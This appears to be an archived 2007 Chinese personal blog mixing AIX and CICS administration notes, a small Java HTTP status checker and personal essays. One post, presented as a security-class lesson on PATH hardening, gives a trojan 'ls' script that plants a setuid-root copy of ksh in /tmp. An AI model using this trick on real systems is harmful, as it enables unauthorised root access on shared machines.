2007年9月14日星期五

公告

此博客由于大家都知道的原因不得不废弃!
新博客转向:
http://confusedday.blogbus.com/

2007年6月25日星期一

cicsupdate错误处理

cicsupdate时一些错误处理

今天帮客户修改Region应用的并发数发现如下错误
$ cicsupdate -c rd -r RegionName MinServer=nn MaxServer=nn
ERZ034020E/0590: You are not authorized to operate on the permanent database class rd
ERZ046005E/0062: Entry '' not found for permanent database class 'rd'


CICS Message and Codes显示:
ERZ034020E You are not authorized to operate on the permanent database class className Explanation: You attempted to perform an operation on a permanent database class's stanza file that you do not have authority to operate on. The file group access rights of the stanza file do not allow you access. System Action: The operation terminates. The permanent database request has not been performed. User Response: Login as a user with sufficient group access to perform updates to the class in the permanent database. Group access is required because any access to the database class stanza file may require reinstatement of a backup file that was created and thus owned by another administrator.

此问题很好解决,根据意思直接查看/usr/cics_regions/RegionName/database/RD/RD.stanza文件访问权限。发现文件缺少用户组写操作权限。使用chmod 660 RD.stanza修改完毕后继续操作:
$ cicsupdate -c rd -r RegionName MinServer=nn MaxServer=nn
ERZ034026E/0031: Unable to access stanza file '/var/cics_regions/RegionName/database/RD/RD.temp'; error code 13
ERZ046111E/0097: Unsuccessful attempt to update entry '' in permanent database class 'rd'


CICS Message and Codes显示:
ERZ034026E Unable to access stanza file 'filePath'; error code errorNumber Explanation: CICS detected an error when attempting to access the stanza file filePath. The operating system gives the error as errorNumber. System Action: If the error occurs during region startup, CICS terminates the startup procedure. If the error occurs during a Resource Definition Online (RDO) session, CICS terminates the current RDO operation. User Response: As indicated by the operating system in the error code. If the file is a permanent database class's stanza file it can be restored from a backup. If the file is a temporary or backup stanza file used during database operation then the operation can be retried.

此问题有些蹊跷,可以从/usr/lib/errno.h文件中查出13的错误原因:
#define EACCES 13 /* Permission denied */
但是cics并不需要"/var/cics_regions/RegionName/database/RD/RD.temp"文件。因此我估计cicsupdate一定是在修改RD.stanza文件时需要在当前目录下创建RD.temp然后再操作RD.stanza。根据这样的假设,即是无法在RD目录下创建RD.temp文件,所以估计是RD目录权限有问题。检查后发现确实如此:RD目录缺少用户组写操作权限。chmod修改cicsupdate无错误再报出。

2007年6月24日星期日

CICS进程描述

CICS进程
说明
cics CICS 的主要进程
cicsas CICS的应用程序进程(Application server)
cicsam CICS应用程序管理进程(Application server manager)
cicsrm Recovery manager
cicsrs Recovery server
cicsic 间隔控制进程Interval control (heartbeat) process
cicsrl RPC 监听进程
cicsip IP 监听进程
cicssl SNA 监听进程
cicslm 监听管理进程
cicsol Open listener process
cicsnp Named pipe 监听
cicslu LU0 监听进程
cicscb IIOP 监听进程
cicsld
提供日志功能进程

2007年5月31日星期四

cicscp调用时的一些默认属性

cicscp在调用时以以下内容为默认值

  • 创建region的用户ID是cics

  • 默认的Region Definitions (RD) DefaultUserId属性是CICSUSER.

  • 在DCE单元中,DCE主要创建者是cics/regionName(还不太熟悉)

  • SFS Server是跟随着host name来命名。譬如若是host 那么是hostABCD,那么SFS Server命名为:/.:/cics/sfs/hostABCD

  • SFS server还创建了short name;它包括一个字母S并跟随hostname的头七个字母。譬如若是host name是hostABCD,则short name是ShostABC

  • 默认的SFS 用户ID和DCE的负责人(principals )都命名为short name。

  • SFS 逻辑卷命名也是以short name为依据。譬如,若是short name 是ShostABC,用来存放队列和文件数据的逻辑卷命名为sfs_ShostABC,用来存放队列和文件日志的逻辑卷命名为log_ShostABC

    注意:
    当在任何平台中使用cicsdefault或者在AIX中用SMIT工具去创建region时,sfs逻辑卷的默认名称值和cicscp命令影响下的默认值是不相同的,默认值在cicsdefault命令或者SMIT工具中是log_SFS_SERVsfs_SFS_SERV

  • 在AIX 和HP-UX 平台中。当在AIX和HP-UX平台使用cicscp命令时,默认的逻辑卷大小是64MB。在Solaris中因为cicscp命令必须在卷已经创建好后使用,文件卷由操作系统命令创建,所以没有默认值。

若是你想在使用cicscp时不使用默认的一些属性,可以通过修改环境变量的方式来操作(也可以分布操作来实现):
  • CICS_SFS_SIZE--指定SFS 服务的data和log逻辑卷的大小。
  • CICS_SFS_DATA_SIZE--指定SFS服务的数据逻辑卷大小。这个变量覆盖CICS_SFS_SIZE值。
  • CICS_SFS_LOG_SIZE--指定SFS服务的日志逻辑卷大小。这个变量覆盖CICS_SFS_SIZE值。
  • CICS_SFS_VG--指定SFS服务逻辑卷所在的卷组,默认的是rootvg。
  • CICS_SFS_DATA_VG--指定SFS服务的数据逻辑卷所在的卷组。这个变量覆盖CICS_SFS_VG的值。
  • CICS_SFS_LOG_VG--指定SFS服务的日志逻辑卷所在的卷组。这个变量覆盖CICS_SFS_VG的值。

cicscp命令使用时所调用的CICS资源管理命令

cicscp 命令调用以下底层命令来创建和启动region以及文件管理:

  • 在创建新region时使用默认定义,cicscp create region 调用 cicsdefault命令。

  • 在从定义好的region中导入region定义cicscp create region 命令会使用-i

    参数(用来导入)和指定引入包含导出region文件的文件名。在这种条件下,cicscp create region 调用cicsimport命令。

  • 在创建,配置和启动SFS server的时候,cicscp命令调用一下CICS资源管理命令:

    • cicssfscreate

    • cicssfs

    • cicssfsconf



  • 再用DB2数据库来配置文件管理的时候,cicscp

    命令调用cicsdb2conf 命令。(DB2数据库必须在cicsdb2conf或者cicscp命令使用前创建和启动。)

  • 在启动region时,cicscp 命令根据操作系统调用以下的命令:

    • AIX 平台. cicscp 命令调用startsrc命令。

    • HP-UX 或者Sun 的Solaris 平台. cicscp 命令调用 cicsstart命令。



在CICS资源定义中使用简写

CICS提供简短速记的方法来在CICS属性中定义CICS特定的值:



%R or %r

扩展为当前region的名字。譬如,在名为RegionA的域上使用%Rreqtsq#,则%R会自动由CICS解释为RegionA,这个字符串整体解释为regionAreqtsq#。

%H or %h

扩展为当前host name。譬如,当在一台host名为HostABCD的机器上使用%H,则%H自动由CICS解释为HostABCD。

%S or %s

解释为当前SFS服务和PPC Gateway服务。譬如,当%S在PPC服务名为cicsgwy上使用,那么%S自动由CICS解释为cicsgwy。

2007年5月28日星期一

find命令中的引号

find命令在根据文件特征(文件名,文件权限,创建时间等等)搜索文件时经常使用。

我们经常使用:

find . -name STRING

来搜索文件名为STRING的文件,也可以使用:

find . -name '*.*'

来列出当前目录下,以及目录下子目录,子目录的子目录.....的所有文件。

但是为什么要将*号用引号括起来呢?这和

ls *有什么不同呢?

实际上*这种特殊的字符,在shell中会做为特殊的处理。也就是说当你输入ls *时,处理实际上分为两部分。第一部分,shell会首先将*号做处理,将*号转换为指定目录下的文件名(或者文件夹名);第二部分shell才会运行转换后的ls命令。譬如:当前目录下有三个文件:a,b,c。那么运行ls *的时候,*号实际上先转换为a,b,c,而后才运行ls a b c。所以你输入ls *时,实际上shell最后运行的是ls a b c。

而find命令的具体用法是将最后的字符串和指定目录下的文件名作比较,若是相同则显示文件,若是不同则跳过。因此在我们假设的环境下当你输入find . -name * 的时候实际最后运行的是:

find . -name a b c

这样实际上是不符合find命令的语法,所以系统会报错,若是系统只有一个文件a(没有其他任何文件和文件夹),那么find . -name *是可以运行的,因为它实际上运行的是:

find . -name a

所以我们需要将*号引用变为字符串,这样shell不会首先将他转换,而是将它做为字符串参数传递给find以便以后和其他文件名的比较,比较时*会符合任何文件名,因此命令正常情况下列出所有查询目录下的文件和文件夹。

2007年5月26日星期六

中外结合


应该是老外制作的,但是感觉不错~,呵呵!意境有点像从前有座山,山里有个庙,庙里有个和尚在讲故事,故事讲的是:从前有座山......

M. Ward - Chinese Translation

I sailed a wild, wild sea climbed up a tall, tall mountain
I met a old, old man beneath a weeping willow tree
he said now if you got some questions go and lay them at my feet
but my time here is brief, so you’ll have to pick just three

and I said, what do you do with the pieces of a broken heart?
and how can a man like me remain in the light?
and if life is really as short as they say, then why is the night so long?
and then the sun went down, and he sang for me this song

see I once was a young fool like you,
afraid to do the things that I knew I had to do
so I played an escapade just like you, I played an escapade just like you
I sailed a wild, wild sea, climbed up a tall, tall mountain
I met an old, old man he sat beneath a sapling tree
he said now if you got some questions go and lay them at my feet
but my time here is brief, so you’ll have to pick just three

and I said, what do you do with the pieces of a broken heart?
and how can a man like me remain in the light?
and if life is really as short as they say, then why is the night so long?
and then the sun went down, and he played for me this song

超级玛丽


超级玛丽真是经典中的经典啊,交响乐演奏超级玛丽更是无话可说
ps. 好大的屏幕啊,估计比我家墙大了不少

为什么要使用Gmail呢?


为什么要使用Gmail呢?呵呵看看gmail的人怎么告诉我们~

2007年5月25日星期五

骗取root的使用权

最近上课介绍AIX的安全性,竟然先听到一个如何骗取root帐号的方法,觉得有趣,写出来同大家一起研究,以便加强系统的安全性,当然仁者见仁,智者见智....
这个方法的前提条件是系统路径设置有问题:
一般情况下
PATH=/usr/bin:/etc:/usr/sbin:/sbin:.
而若是设置为
PATH=.:/usr/bin:/etc:/usr/sbin:/sbin
则非常不安全,这是因为此时输入命令系统会首先查找当前目录然后再查询其他目录,这就给黑客创建了很危险的机会:用自己编写同系统命令相同名称脚本来迷惑root用户。

$ cd /home/hacker                     
$ vi ls #创建ls文件
#!/usr/bin/ksh
cp /usr/bin/ksh /tmp/.hackerchown #拷贝ksh以便以后使用
chmod root /tmp/.hacker #赋予拷贝后的文件root权限
chmod u+s /tmp/.hacker #使拷贝后的文件运行是以文件所属(root)权限运行
rm -f $0 #强制删除此假ls文件
/usr/bin/ls $* #将输入的参数传入的系统ls命令。

$ chmod a+x ls #赋予此ls文件可运行的属性
然后就是看你怎么欺骗root用户在当前目录下运行此文件了。
若是root用户在你的当前目录下运行了ls命令,那么当你运行/tmp/.hacker命令就可以重启一个ksh,而这个ksh则是拥有root权限的shell了,至此你想做什么都可以了....

2007年5月24日星期四

通过AIX考试

呼呼,通过了Professional Certification Program from IBM Exam 222的认证考试 : P5 and pSeries Administration and Support for AIX 5L V5.3,还是挺值得开心的事。

夜深人静

夜深人静
忽然有了想吸烟的感觉
很久很久
没有这样的感觉了
忙忙碌碌,迷迷茫茫
总是太多的烦恼和哀愁
常常不愿意停下来静静的思考
给自己一个忙碌的藉口
只是为了写下躲避的伏笔

夜深人静
让我静静的倾听
让我看看黑色的夜晚
让我再次触摸一个内心的我

我是否迷失?

2007年5月23日星期三

烦恼与进步

偶尔想起一年前的今天...当时的我也许正在想一年后我在干什么啊?呵呵。因为我经常会忽然间思考:一年后不知道我在坐什么?

在这个忙碌的时代,一切都成了快餐文化。于是生活变得不稳定起来。一年前由于前一个公司的经营状况越来越差,升职,加薪或者自我价值有所提升仿佛都变得越来越模糊。我开始不断的考虑如何换一个公司以便换一种生活。当时给自己的要求是:只要有公司要,不求加薪只求可以学到些有价值的东西即可,我把自己所有的要求都降到了最低。当时的烦恼无非是如何找到工作。

一年中变化竟然让我出其不意,换工作,加薪并且找到了我所要求的自我价值的提高而且还可以学到好多东西(有事甚至觉得要学的太多)。

一年以前的我看到现在的我会怎么想呢?太成功了!?然而事实现在的我却在短暂的喜悦后更加的忧愁,我开始忧郁如何学到更多的东西,我开始忧郁如何成为正式员工,我开始忧郁现在得到的一切会不会突然间消失。

烦恼跟随着进步,这可能是人类进步的原因,也是贪婪的表现。

2007年5月22日星期二

HTTP服务返回值判定程序

经常在客户系统里判定IBMIHS的状况,但是服务器需要重重防火墙和映射地址才能访问。于是写了一个程序,目的是放到一个服务器里用来便可以判断所有同一网段的HTTP返回值是否正常,以便简化检查的手工劳动 ::D

import java.net.ConnectException;
import java.net.URL;
import java.net.MalformedURLException;
import java.net.HttpURLConnection;
import java.net.UnknownHostException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.BufferedReader;


public class serverStat {

private static String urlString;

private static File serverNameFile = new File("server.ini");

public static void main(String[] args) {
if (args.length != 1) {
getServerName(getServerNameFile());
System.exit(0);
}
setUrlstring(args[0]);
connect(urlString);
}

private static void getServerName(File f) {
// File f = new File("server.ini");
FileReader fr = null;
try {
fr = new FileReader(f);
BufferedReader br = new BufferedReader(fr);
String Line = new String();
while (Line != null) {
Line = Line.trim();
if (Line.startsWith("#") || Line.equals("")) {
} else {
serverStat.setUrlstring(Line);
connect(urlString);
}
Line = br.readLine();
}
br.close();
fr.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}

private static void connect(String urlarg) {
try {
URL url = new URL(urlarg);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
System.out.println(connection.getResponseCode());
System.out.println(connection.getResponseMessage());
System.out.println("*** Success ***");
} catch (MalformedURLException e) {
System.out.println("*** Exception *** " + e);
} catch (UnknownHostException e) {
System.out.println("*** Exception *** " + e);
} catch (ConnectException e) {
System.out.println("*** Exception *** " + e);
} catch (IOException e) {
System.out.println("*** Exception *** " + e);
}
}

public static String getUrlstring() {
return urlString;
}

public static void setUrlstring(String args) {
args = args.toLowerCase();
if (args.startsWith("http://")) {

} else {
args = "http://" + args;
}
System.out.println(args);
serverStat.urlString = args;
}

public static File getServerNameFile() {
return serverNameFile;
}

public static void setServerNameFile(File serverNameFile) {
if (serverNameFile.exists()) {
serverStat.serverNameFile = serverNameFile;
} else {
serverStat.serverNameFile = new File("server.ini");
}
}
}

2007年5月18日星期五

Norton 这下傻了

用了这么久的Norton,一直都是他保护我们的电脑,这次倒好。轮到Norton 像病毒一样攻击我们的操作系统了,虽然估计他也不是故意的,呵呵。

经过分析,这是该杀软对系统正常文件的误报,鉴于Norton杀毒软件在国际上有庞大的装机量,将会有大批用户遭遇无法开机现象。

关于被报文件netapi32.dll:

文件说明:
netapi32.dll 名称为:Microsoft LAN Manager DLL,它是是Windows网络应用程序接口,用于支持访问微软网络。

经过我们分析,该文件可以正常通过微软数字签名认证,从而正式证实了该杀软误报。

该杀软为什么会误报该文件呢?经过我们追踪分析,netapi32.dll曾经跟近年几个重要的漏洞有关,其中04年的Lsasrv.dll 漏洞,它是从系统Netapi32.dll中找到DsRolepEncryptPasswordStart函数,在第一个参数过长导致了溢出。由于Netapi32.dll中的DsRoleUpgradeDownlevelServer函数是一个客户端函数,该漏洞只能在本机触发,所以黑客会修改Netapi32.dll,将请求发送给本机的变量地址改为黑客制定指定的IP地址,从而远程利用该漏洞。此外还有其它的漏洞出现在Netapi32.dll本身,由于杀软会检测该文件是否被修改利用,从而就造成了特征提取错误,误报了系统中原本正常的文件。

二、解决方案:

在该杀毒软件报警后,不要重启动系统,会造成无法启动。
1、在病毒服务器的系统中心将病毒库恢复到17日以前的版本。
2、对于已经更新病毒定义的客户端,千万不要重新启动电脑,关掉symantec antivirus 服务,从隔离区里面恢复被隔离的两个文件。
3、使用该杀软的信任列表和目录,将该文件临时加入到信任列表中,并及时关注官方最新升级特征。
4、紧急停用该杀软。
5、如果系统已经无法启动,可以使用windows 安装光盘启动系统,执行如下命令恢复被杀除的文件(x表示光盘盘符):
expand x:\I386\netapi32.dl_ c:\windows\system32\netapi32.dll
expand x:\I386\netapi32.dl_ c:\windows\system32\dllcache\netapi32.dll
expand x:\I386\lsasrv.dl_ c:\windows\system32\lsasrv.dll
expand x:\I386\lsasrv.dl_ c:\windows\system32\dllcache\lsasrv.dll

2007年5月15日星期二

生日快乐

母亲出身农家,生日无法得知,唯一知道的是挖红薯的日子出生。不但如此,实际上她具体的出生年也是未知的,唯一知道的是比我的大舅大两岁,可怜的是大舅的具体出生年月日也是未知。时常听人议论说子女不知父母的生日,不孝!所以有时候不得不感谢西方还有个母亲节,多少可以让我当作母亲的生日来庆祝。

还有一个人。我的宝贝:草,我曾经忘记过她的生日,我也好久没有给她买过生日礼物,今年的生日正好和母亲节碰在了一起!

本来如此的日子对于我是如此的重要,该好好的和他们在一起,可惜却不得不在这一天选择忙碌的出差和工作。

对于你们的爱我无法在这一天有所表示,只能记录片语在电脑上抒发下此时的感情。谢谢你们对我的支持,对我的爱!!!

2007年5月9日星期三

我为什么还没有结婚

最近似乎到了我们这一代即将老去的时段:我的朋友,我的同事,我的朋友的同事,我的同事的朋友。凡是和我差不多大的都开始忙碌着结婚。更厉害的是那些在家中的老同学,有几个竟然有了下一代。问候的常用语句从刚毕业的:现在哪儿混的呢?变成了:你结婚没有?于是,不得不面对一个问题:我为什么还不结婚?或者我们为什么还不结婚?由于福气猪年的到来,加上我和我女友长达快10年的恋爱。我不得不对每一个关心我们两的人解释一遍我们还未结婚的原因,其中的繁杂非常人能理解,为了便于我和我女友共同同学,共同朋友的关心,简单概述下(简单概述都很复杂,可见这事...唉~~),期望大家多多理解!!~~

户口

首先交待一个背景:我们可爱的户口制度!!!
2000年由于我的贪玩,大学休学一年,于是女友为了陪我读大四,2002将户口迁入成都高新区人才交流中心。为什么迁户口呢?主要是当时听父辈说,一定要将户口直接迁出来,而不要打回新疆,否则将会有很多复杂的事情。是否如父辈所讲从新疆不易迁出户口?是否新疆外迁要交钱,我现在依然不得而知。但是这一决定冥冥之中在一定程度上导致了我现在未结婚。

2003年我毕业,和女友共赴广州,好歹圆了父母的愿。这是因为祖父祖母姥姥老爷均是广东人。父亲,母亲均出生在广东,对于广东他们有我对新疆同样的感觉:根!(这里不愤的说一句:最讨厌那些瞧不起新疆人的人了,咱新疆人来自祖国各地,瞧不起新疆人那就是...)2005年将户口档案从学校迁入广州人才交流中心,为我和女友不能结婚写下了“人”字的第二笔。

迁户口

背景交待完毕!熟悉我和女友草的人,都知道我们从高中就开始要好了,我们当然也打算结婚了啊。但是当我们准备结婚的时候碰到一个棘手、恶心、无聊的问题:广州的人才交流中心说:结婚可以,必须在一个月内将户口转出去才可以。我当时就闷了赶紧去找转户口时的协议,一看果真如此。但是往哪儿迁呢?不止一个同学朋友说:迁回乌鲁木齐不就行了么?大哥啊?说的容易!这不是随便放哪儿就行的啊?现在迁回去了?我的社保,我的医保?我的养老保险...乱七八糟的东西可都是在广州交的啊?这些可不是全国联网的啊?兄弟姐妹们可不是都想让我老了在折腾这些吧?再说了,下一代怎么办?我在广州工作?让他一个人在乌鲁木齐?我倒不是不喜欢乌鲁木齐,可是户口制度不容许我随意的迁来迁去啊。

买房

于是我们考虑解决这个户口问题了,唯一的方法:买房!!!那些站着说房价是房奴推动的人,求求你们清醒一下吧,那些说:住者有其屋不是说必须有自己的房子的人也稍微的收敛一下,可怜我们这些必须通过买房来获得户口的人吧!广州的房价我不多说了,虽然比不上北京上海的疯狂,但是起码也可以让我们这些穷人感觉到疯狂。于是忙碌的生活中抽着时间看各式房子,一手的二手的,近的远的,便宜的贵的,反正来来回回折腾了一年左右。终于签约,贷款,买房。于是牵扯到新的问题:户口,未婚证明

户口

不知道兄弟姐妹们有没有一次提供过这么多证明的:户口、未婚证明、身份证、收入证明、公司证明、银行流水帐。对没有看错里面还有一个未婚证明。我当时就实在不理解怎么会有这么一个证明,没结婚就没结婚呗。结婚了要有结婚证明,没结婚竟然还有个未结婚证明。那么没结婚的有没有未婚证明的人是不是也违反了《婚姻法》?(呵呵,后来办理才知道是个计划生育的手册,没结婚还要计划生育...)我和草遇到了新问题:身份证!因为草早先丢失了身份证,但是有不可能马上飞回成都去补办,所以一直没有身份证。为了买房,我们早早计划着终于办好了身份证,但是买房还需要户口啊?好说歹说终于让按揭的人答应要个户口复印件就可以了,于是邮寄身份证回去托人复印户口。结果遇上大麻烦,户口复印件和身份证一同在邮递回广州中丢失。

二代身份证

好不容易通过传真拿到了草的户口复印件,又凭着草以前大学未上交的身份证我们办理完了房屋贷款,算是买上了房子。有了房子我又将户口从人才交流中心中迁出准备草办好了户口就可以结婚。结果让我们赶上了二代身份证。二代意味这比一代更先进的地方就是必须到户口所在地办理身份证。(妈的,就不知道联网么?不就是个数码照相么?)于是,一不做二不休我和草杀回成都,就为了办理身份证。考虑到以后的生活我们也决定直接将草的户口迁至现在广州的房子名下,长痛不如短痛,这样以后就没有那么多麻烦事了!

未婚证明

回到广州,在漫漫的三个月以后我们才得到成都同学的通知:拿到新的身份证了。同时草也办理着户口迁移的手续。期间漫漫岁月,加上对于草公司丢失信件(就是上个身份证)的不信任,日子是在是过得提心吊胆。反正经过期间许多手续,在等待的最后,户口迁移证终于拿到手上。某个周末一大早开开心心的打的来到办证大厅,结果遇到了可笑的问题:草的户口迁移证里的婚姻一栏里竟然没有填东西,这意味这草的婚姻状态是未知的。于是查到成都高新区人才市场。一问,户口本身就没有填。我实在有些佩服我们辛勤的户口工作者了,虽然你们背负着中国变态制度的骂名依然辛勤的工作,虽然你们一年才收取几千元的户口管理费,虽然你们忙忙碌碌的管理这么多的户口,不时的还有人为难你们,在你们的面前爱理不理...但是能不能仔细一点啊?怎么就会不填这一栏呢?于是广州这边要求开具未婚证明,成都方面又说:我只能证明你没有领取生育指标?我怎么知道你结婚没有?我怎么知道你生孩子没有?我.....真的在心里面把她几代母亲都慰问了下。我实在不明白这些人户口的管理到底做些什么?只是恐怕"爲人民服務"是不能安在她们头上了。经过千辛万苦,终于有地方愿意证明草未婚:广州这边的档案管理处...前提....于是,草的户口顺利迁入我们的新居。

社会保险

所有的一切搞定,也就是我们现在的状态。现在户口又交上去办理草的社会保险。等待发下来的日子,然后我们就可以计划什么时候领证,什么时候结婚了。

后记

感谢我的小舅,为我买房定居广州,为我工作和生活操心了那么多。另外,还要感谢我在成都的同学,我的大学室友,没有他的帮助,上面很多的事不知道要花费多少时间精力和金钱。所以,我们的亲戚,我们的朋友,我们的同学,我们的同事。请不要再问你们怎么还不结婚这样的话。真正相爱的人们,没有结婚也会依然相守;真正负责的人,也不会因为没有婚姻的证书而放弃;别着急,等我们的好消息吧! :D
经过草的审核,发现我还写漏了很多事情:譬如档案迁移事情;也有些事稍稍和事实不太一致,反正多写也描述不清楚期间的复杂,大家自己可以想象下吧,呵呵

2007年5月7日星期一

正常umount不掉文件系统的处理步骤

短剧剧名:《正常umount不掉文件系统的处理步骤- 之粗俗不堪版》



导演+编剧 : workaholic



场地+灯光+音乐 : larryh (借larryh是楼主,固有此说)



友情主演: 工程师甲(以下简称甲) & 工程师乙(以下简称乙)



剧情背景:



某日,工程师乙无法umount一个FS,提示 …………what what is busy 之类



演出开始:



乙: “faint ,该死的FS无法umount ” (气急败坏的表情)“

甲: “哦,肯定有哪个bitch开的Application用了该FS中的资源” (叼着香烟看着电影)

乙: “ 那TMD咋整啊” (还不到咱们LU发帖子)

甲: “ fuck ,应用都停了吧!” (也很气愤的说)

乙: “ shit,是啊” ( shit = 上海IT ?)

甲: “ 唉,看来只能 fuck user了 ” (语重心长的说)

乙: “ how ? " (一脸狐疑)

甲: “听着,要fuck 和 该 FS相关的USER,fuck user -> fuser -uck /mount_point ” (真正的技术要点分析阐述)

乙: “ 啊?能行吗,我来试试 ”



乙接着敲命令 # fuser -uck /mount_point , 然后umount 搞定 。



甲继续看电影,乙继续干活,从此记住该参数 。

2007年5月1日星期二

再见 Gaim


很久以前就在linux、windows上断断续续的使用过Gaim。一年前从Redhat 4开始正式开始使用Gaim,由于他集成了Gtalk、QQ、msn这三个我经常使用的聊天工具。所以即使在有时通过代理不能使用的情况下,我也依然不忍心放弃她。现在在Windows下也同样喜欢她节俭和整合的思维方式。

本想等待到Gaim的2.0 正式版,没想到这永远成为梦想。Gaim迫于AOL的压力,发布了Important and Long Delayed News从此将Gaim修改为pidgin,英文意思为混杂,语言或事务。

2007年4月23日星期一

AIX故障解决方法

LED 201故障的解决





环境 产品: AIX

平台: RS

机型: RS6000

软件版本: V4

问题 系统无法正常启动,液晶面板LED显示201.



解答 LED 201通常由引导镜像损坏引起.应检查 /and/tmp 文件系统.

解决LED 201的具体步骤:

1.键入: lslv -m hd5 来确定引导盘;

2.键入: bostboot -a -d /dev/hdiskn 来重建引导镜像;

3.关机并重新启动系统.





LED 223-229故障的解决



环境 产品: AIX

平台: RS

机型: RS6000

软件版本: V4

问题 统无法正常启动,液晶面板LED显示223-229.

解答 LED 223-229通常由非法引导列表顺序引起.应启动机器进入维护服务模式(对于较旧的微通道式机器,应将钥匙拧至维护模式后启动系统),更改引导列表顺序后,关机并重新启动系统.





LED 553故障的解决



环境 产品: AIX

平台: RS

机型: RS6000

软件版本: V4

问题 系统无法正常启动,液晶面板LED显示553.

解答 LED 553通常是由于/etc/inittab文件系统被破坏引起的.应检查并修正这些遭到破坏的文件系统.

具体步骤:

1.启动,进入维护模式;



2.用df命令检查根目录下,/var目录下和/tmp目录下的剩余空间;



3.检查/etc/inittab文件,并修正inittab文件的错误;



4.检查执行错误;

/etc/environment

/bin/bsh

/bin/fsck



5.重新启动系统.





LED 551,555和557故障的解决





环境 产品: AIX

平台: RS

机型: RS6000

软件版本: V4

问题 系统无法正常启动,液晶面板LED显示551,555或557.



解答 LED 551,555,557通常由文件系统被破坏或JFS日志被破坏引起.应检查并修正这些遭到破坏的文件系统.

具体步骤:

1.检查文件系统;

fsck -y /dev/hd1

fsck -y /dev/hd2

fsck -y /dev/hd3

fsck -y /dev/hd4

fsck -y /dev/hd9var



2.重建JFS日志;

/usr/sbin/logform /dev/hd8



3.键入 lslv -m hd5 来确定引导盘;



4.重建引导镜像bosboot -a -d /dev/hdiskn;



5.重新启动系统.





LED 552,554和556故障的解决





环境 产品: AIX

平台: RS

机型: RS6000

软件版本: V4

问题 系统无法正常启动,液晶面板LED显示552,554或556



解答 LED 552,554,556通常由超级块(Super Block)被破坏或定制的ODM数据库被破坏引起.应检查并修正这些遭到破坏的文件系统.

具体步骤:

1.用备份的超级块(Super Block)替换被破坏超级块(Super Block),重建文件系统;

dd count=1 bs=4k skip=31 seek=1 if=/dev/hdn of=/dev/hdn

/usr/sbin/logform /dev/hd8



2.加载(Mount)根文件系统和用户文件系统;

mount /dev/hd4 /mnt

mount /usr



3.将系统配置拷贝到备份目录;

mkdir /mnt/etc/objrepors/backup

cp /mnt/etc/objrepors/Cu* /mnt/etc/objrepos



4.从RAM文件系统复制出系统配置;

cp /etc/objrepos/Cu* /mnt/etc/objrepos



5.卸载(Unmount)所有的文件系统;



6.确定引导盘;

lslv -m hd5 command.



7.保存新的ODM到根逻辑卷;

savebase -d/dev/hdiskn



8.重新启动系统.



如果系统仍无法正常启动,亦可重装BOS.



如何替换损坏的镜像卷组硬盘?





LED 0C31的问题

安装系统时停止在LED 0C31的问题

环境:(产品,平台,机型,软件版本,等)



问题描述:

在通过光盘或磁带启动试图安装操作系统时,计算机启动停止在LED 0C31,控制台上没有显示。



解答:

出现这种问题有两种可能:

1、使用其它计算机上创建的mksysb磁带启动安装,而其它计算机上原来安装的系统中不包含本计算机的显示卡驱动程序;

2、使用AIX安装光盘启动,AIX安装光盘版本太老,不 包含本计算机的显示卡驱动程序。

对于第一种问题,可以用和mksysb同样版本的AIX安装光盘启动,在选择控制台后,在下面的界面中选择3:



然后在下面的界面中选择4:





从磁带进行安装即可。

对于第二种情况,您需要从IBM获取更新版本的AIX安装光盘以支持计算机上的显示卡。





LED  0c0

The  dump was  successful

 



2007年4月22日星期日

AIX经典之LVM


初时接触AIX被他丑陋的CDE(图形界面),笨拙的ksh(shell)搞的一塌糊涂,让我郁闷了好久。现在依然不喜欢他的图形界面,但是当真正在项目中使用后,发现用图形界面的可能性和机会少的可怜。也许这就是服务器和个人pc的最大区别吧 :D

LVM是AIX的最大特性之一,LVM是Logical Voume Manager的简写,直译就是逻辑卷管理器。

LVM最主要的功能就是能动态的,随时的分配磁盘分区空间。我们用不恰当但是直观的方法来了解(注意,这只是比喻):譬如我们在windows里的C盘,当我们觉得C盘空间不够的时候,我们可以直接通LVM来动态的增加它的空间。当这个应用继续下去,我们会发现C盘的大小很动态,只是局限于一个硬盘的大小。LVM又有他的解决方法,将所有的物理硬盘组合起来,成为一个逻辑的硬盘,一个逻辑卷。这使得C盘的大小不在局限于一个硬盘的大小,而是逻辑硬盘(逻辑卷)的大小,而逻辑硬盘(逻辑卷)的大小也是可以动态的通过增加删除物理硬盘的来实现。

可以想象在服务其中这个功能多么的诱人,你可以不断电的添加硬盘,然后给任意分区添加或者减少空间。That Cool!~~~

实际上现在除了AIX也有很多linux(windows 2000好像也有卷的概念和类似功能,但是好像功能没有那么灵活,或者说我不了解 :P )支持LVM,我知道的就有suse,redhat。但是到底谁先有这么有趣的想法的就不知道了.

怎么使用无参数的sar

无参数的sar经常会报出如下的错误信息:

sar: 0551-201 Cannot open /var/adm/sa/sa22.

查阅文档发现,如果要使用不带参数的sar命令,必须首先让操作系统自动收集活动数据才能运行。/var/admin/sa/sadd中的dd实际为当前的日期。

打开这种收集的方法是编辑adm用户的crontab,修改其中的sa1的内容,使其定时运行。

2007年4月20日星期五

以史为鉴


偶尔看到这个文章,触动了我最后悔的记忆:大学。我怎么早没有看到这样的文章呢,但是若是我早看到了,我会真的过一个有意义的大学么?我不知道,永远也不会知道。抄录下来,以示后人倒也不必且无资格,只能说自己“以史为鉴”吧...

1,珍惜仅有的4年好好学习专业,不要说什么锻炼能力,发展素质教育,上大学后你其实已经发现了只有初中,高中的东西你现用的最多!能力是以知识为基础的!university的谐音不是“由你玩四年”!(我就是很好的“由你玩四年”的实例,留下的遗憾要用现在和未来来慢慢补偿.....)

2,谈一场轰轰烈烈的爱情,让你能够在这样物欲横流的社会理解什么叫做纯洁!为的是走出学校后能够有这样一种明净单纯的回忆!(还好,高中就开始了到现在不算轰轰烈烈,但也有了天长地久的欣慰。)

3,至少有一样课余爱好,它会让你在无聊的时间里有宣泄的用武之地!(业余爱好?游戏和睡觉不知道算不算在其中啊.. :S)

4,尽可能少逃课,如果按你一年5000的学费来算的话,一节课意味着你丢了快4。16666元钱(一年40周,也就200天课,一天算6节吧!总共就1200节课)!(这段话明显是错误的,我在逃课数量上引起了质量的变化,最终导致还要加上重修的学分费用。至于到底有多少我不敢算了。)

5,不应该缺少大学生应有的素质,要习惯一些事情,对任何事情要理智的去看待,切忌无病呻吟的成天喊“堕落与颓废”。不关你的事情,你由它去吧!(天天把郁闷挂在嘴上,最后就真的郁闷了)

